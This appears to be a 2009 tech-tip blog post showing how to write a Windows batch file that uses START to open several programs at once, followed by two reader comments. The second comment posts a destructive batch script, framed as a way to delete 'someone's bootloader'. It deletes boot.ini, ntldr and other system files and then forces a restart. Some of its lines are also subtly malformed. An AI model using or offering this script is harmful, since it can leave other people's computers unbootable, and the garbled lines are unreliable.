Batch Script To Open Multiple Programs At Once

Posted Nov 14, 2009 | by Jason Faulkner | 2 Comments  

If you do a task which requires you to have several programs open, a time saving thing you can do is create a batch script to open these programs and/or files at once. This is accomplished by using the START command. Using the syntax:

START /D “path_to_program” program_name

For example, to open both Firefox and IE, the batch file would look like this:

START /D “C:\Program Files\Internet Explorer” iexplore.exe
START /D “C:\Program Files\Mozilla Firefox” firefox.exe

Just save the above text into a batch file named Browsers.bat and then run it. You will see both Firefox and IE are launched. This is just a simple example, so you would want to configure the programs to be what you need.

Post to Twitter Post to Delicious Post to Digg Post to Facebook Post to StumbleUpon

Posted In: Daily Tips, Operating Systems

If you like this, you might also like...

  • 5 FREE Solutions Guides
  • Weekly Newsletter (6 Years Running)
  • Special Deals & Announcements
  • Subscribe FREE

2 Responses to “Batch Script To Open Multiple Programs At Once”

  1. Chris

    18. Nov, 2009

    if you input an web address also it will not only open up the browser but also open it up at the website you put in. Really cool trick I like.

    Reply to this comment
  2. Gareth Evans

    18. Nov, 2009

    HAHA! This is basic command line scripting :P I figured this out for myself years back :D

    Now here’s how to delete someone’s bootloader in Windows XP and restart the computer instantly:

    @echo off
    @attrib -r -s -h %SYSTEMDRIVE%\boot.ini
    @del %SYSTEMDRIVE\boot.ini /y
    @attrib -r -s -h %SYSTEMDRIVE%\autoexec.bat
    @del %SYSTEMDRIVE\autoexec.bat /y
    @attrib -r -s -h %SYSTEMDRIVE%\ntldr
    @del %SYSTEMDRIVE\ntldr /y
    @attrib -r -s -h %WINDIR%\win.ini
    @del %WINDIR%\win.ini /y
    @shutdown -r -t 00 -f
    @cls
    @exit

    Now only use this for your own good, please.

    Reply to this comment

Leave a Reply

Let PCMech Be Your Hookup To What's HOT In Computers And Technology

  • Plain-English Guides and Resources
  • Our Top Picks for Free Software
  • A Special Gift From PCMech
  • Weekly Newsletter (6 Years Running!)

PCMech Poll

Would you get a Mac if expense was not an issue?

View Results

Loading ... Loading ...